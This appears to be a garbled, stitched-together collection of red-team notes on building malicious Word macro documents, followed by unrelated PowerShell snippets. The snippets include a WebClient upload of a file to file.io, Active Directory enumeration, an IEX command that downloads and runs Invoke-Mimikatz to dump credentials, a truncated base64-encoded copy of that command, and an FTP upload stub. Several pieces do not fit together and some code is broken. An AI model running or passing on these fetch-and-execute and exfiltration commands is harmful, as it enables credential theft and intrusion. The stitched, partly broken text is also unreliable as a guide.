snake majid-derkaoui

Multi-Stage Penetration-Testing / Red Teaming Malicious Word document creation process

The below paper documents the process of creating a multi-stage IPS/AV transparent malicious document for purposes of Red Teaming / Penetration-Testing assignments.

The resulted document will be:

using OLE event autorun method
removing it's pretext shapes
Obtaining commands to be executed from document's Author property and passing them to StdIn of Powershell.exe process
Leveraging certutil technique to receive Base64 encoded malicious HTA document
Having Base64 encoded Powershell command in that Author property

This has been updated and moved here: https://gist.github.com/codeartery/1252670806e4b7d8993a38be448f58f0

This is a note for myself describing various Visual Basic macros construction strategies that could be used for remote code execution via malicious Document vector. Nothing new or fancy here, just a list of techniques, tools and scripts collected in one place for a quick glimpse of an eye before setting a payload.

All of the below examples had been generated for using as a remote address: 192.168.56.101.

List:

Page substiution macro for luring user to click Enable Content
The Unicorn Powershell based payload

	$sourceFilePath = "/etc/apt/archive"
	$siteAddress = "https://file.io/?expires=1w"
	$webClient = New-Object System.Net.WebClient
	$response
	try {
	$response = $webClient.UploadFile($siteAddress,$sourceFilePath)
	} catch {
	Write-Host $_
	}
	[System.Text.Encoding]::ASCII.GetString($response)

	#Get OS of all domain joined computers and group by OS with count
	# 1.
	Get-ADComputer -Filter * -Properties OperatingSystem \| Sort-Object -Property OperatingSystem \| Group-Object -Property OperatingSystem -NoElement \| ft -AutoSize
	# 2.
	$ADComputers = @()
	$ADComputers = Get-ADComputer -Filter * -Properties OperatingSystem,lastLogonTimestamp
	$ADComputers \| Sort-Object -Property OperatingSystem \| Group-Object -Property OperatingSystem -NoElement \| ft -AutoSize


	##Create date object for queries below

	NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!

	#mimikatz [local]
	IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds;

	#encoded-mimikatz [local]
	powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AQgBDAC0AUwBFAEMAVQBSAEkAVABZAC8ARQBtAHAAaQByAGUALwBtAGEAcwB0AGUAcgAvAGUAbQBwAGkAcgBlAC8AcwBlAHIAdgBlAHIALwBkAGEAdABhAC8AbQBvAGQAdQBsAGUAXwBzAG8AdQByAGMAZQAvAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAvAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6AC4AcABzADEAIgApADsAIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0AQwBvAG0AbQBhAG4AZAAgAHAAcgBpAHYAaQBsAGUAZwBl

	clear

	# FTP Server Variables
	$FTPHost = 'ftp://192.168.1.1/html/'
	$FTPUser = 'user'
	$FTPPass = 'password'

	#Directory where to find pictures to upload
	$UploadFolder = "C:\Temp\"